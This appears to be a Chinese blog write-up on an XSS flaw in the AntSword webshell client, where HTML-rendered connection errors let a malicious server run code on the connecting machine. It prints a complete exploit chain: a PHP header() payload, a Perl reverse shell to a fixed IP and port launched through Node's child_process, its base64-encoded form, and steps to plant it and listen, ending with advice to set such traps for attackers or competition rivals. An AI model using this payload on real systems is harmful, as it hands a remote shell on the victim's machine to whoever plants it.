今日在github上看到蚁剑暴露了一个xss漏洞,自己也经常使用蚁剑。同时在freebuf上也有一篇文章,关于蚁剑漏洞的。闲着没事测试了一波。

一、漏洞成因

蚁剑shell远程连接失败时,蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。

用过蚁剑的童靴都清楚,当我们远程连接写好的webshell的时候,有时候可能因为shell书写错误或者链接填写不当的时候,会出现大堆的错误代码。
蚁剑xss漏洞,获取者shell

该信息并没有进行 XSS 保护,因此能够利用 js 调用 perl 便可反弹***者的shell

很多时候我们不去注意,但这里恰恰就是漏洞利用点。(漏洞往往就在你的眼皮地下,你只要向下看看就能找到。可惜我们只向前看,不向下看。)

二、漏洞验证

鉴于本人对js没有深入了解,只懂得些皮毛。这里就直接引用别人写好的shell了

(1)验证xss漏洞的存在

<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>');?>

蚁剑xss漏洞,获取者shell

Head()函数,向客户端发送原始的 HTTP 报头。
当蚁剑远程连接shell的时候就会触发弹框。

(2)反弹***者shell

require('child_process').exec('perl -e \'use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });

将这些代码进行base64加密

cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7

构造header

<?php

header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>");
?>

将其写入被***中的网站目录下
蚁剑xss漏洞,获取者shell

被***机监听1002端口
蚁剑xss漏洞,获取者shell

***机蚁剑远程连接

蚁剑xss漏洞,获取者shell

获得***者shell
蚁剑xss漏洞,获取者shell

在最新的版本中, 修改了 toastr 可以输出 html 的特点,以后均不支持输出 html。建议及时更新到最新版本

三、总结

如果你检测到了自己被上传了webshell,不妨可以试一试这个漏洞,对方如果使用的是蚁剑,当对方连接你的时候,也是他上线的时候。或者在比赛(zhen shi)环境的时候,故意制造一个这样的shell,诱惑一些小可爱连一下。

参考链接:
https://github.com/AntSwordProject/antSword/issues/147